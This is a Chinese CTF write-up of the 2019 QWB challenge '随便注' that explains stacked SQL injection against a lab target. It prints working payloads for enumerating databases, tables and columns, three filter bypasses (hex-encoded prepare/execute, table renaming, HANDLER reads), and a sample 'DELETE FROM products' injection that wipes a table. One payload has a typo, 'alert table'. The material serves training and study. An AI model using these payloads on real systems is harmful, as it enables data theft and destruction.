[强网杯 2019]随便注
[强网杯 2019]随便注
打开靶机,看到的题目

查看网页源码知道这题使用sqlmap是行不通的

此时,使用正常的sql注入流程,看看能否出flag。
1' #
1
1' order by 2#
输入这些都可以正常显示页面
1' order by 3# 
出现一下错误,说明了该字段数为2

使用union注入,发现回显出过滤的关键字,过滤的这些关键字都不能使用

对于此不太懂,借鉴一下该优秀博主的
https://blog.csdn.net/qq_43619533/article/details/103433643
知道了该题是使用堆叠注入,其含义:
这里是查看源码得到的函数:multi_query()
multi_query()可以执行一条或多条sql语句,从而导致了堆叠注入的产生。
在SQL中,分号(;)是用来表示一条sql语句的结束。
结束一个sql语句后继续构造下一条语句,会不会一起执行?
因此这个想法也就造就了堆叠注入。
union injection(联合注入)也是将两条语句合并在一起。
两者之间有什么区别么?
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
例如以下这个例子:
用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
先爆数据库
0';show databases;#

爆表
0';show tables;#

爆内容
1';show columns from words;#
1';show columns from `1919810931114514`;#
当表名为数字时,需要用反引号
这两个表爆出的内容都没有直接得到flag的值

从而可以得知flag字段的值即为目的
这里有三种解法
第一种:可以进行二进制编码来绕过被过滤的关键字
将select * from 1919810931114514进行16进制编码
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
解析:
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
第二种:重名名绕过(可利用alter语句与rename语句)
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
解析:
通过 rename 先把 words 表改名为其他的表名。
把 1919810931114514 表的名字改为 words 。
给新 words 表添加新的列名 id ,并建立相关的约束。
将 flag 改名为 data 。
第三种:handler语句代替select查询
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
解析加扩展:
handler `1919810931114514` open as `a`  
#指定数据表进行载入并将返回句柄重命名
handler `a` read first; #读取指定表/句柄的首行数据
handler `a` read next;  #读取指定表/句柄的下一行数据
handler yunensec close; #关闭句柄


                
            
        
浙公网安备 33010602011771号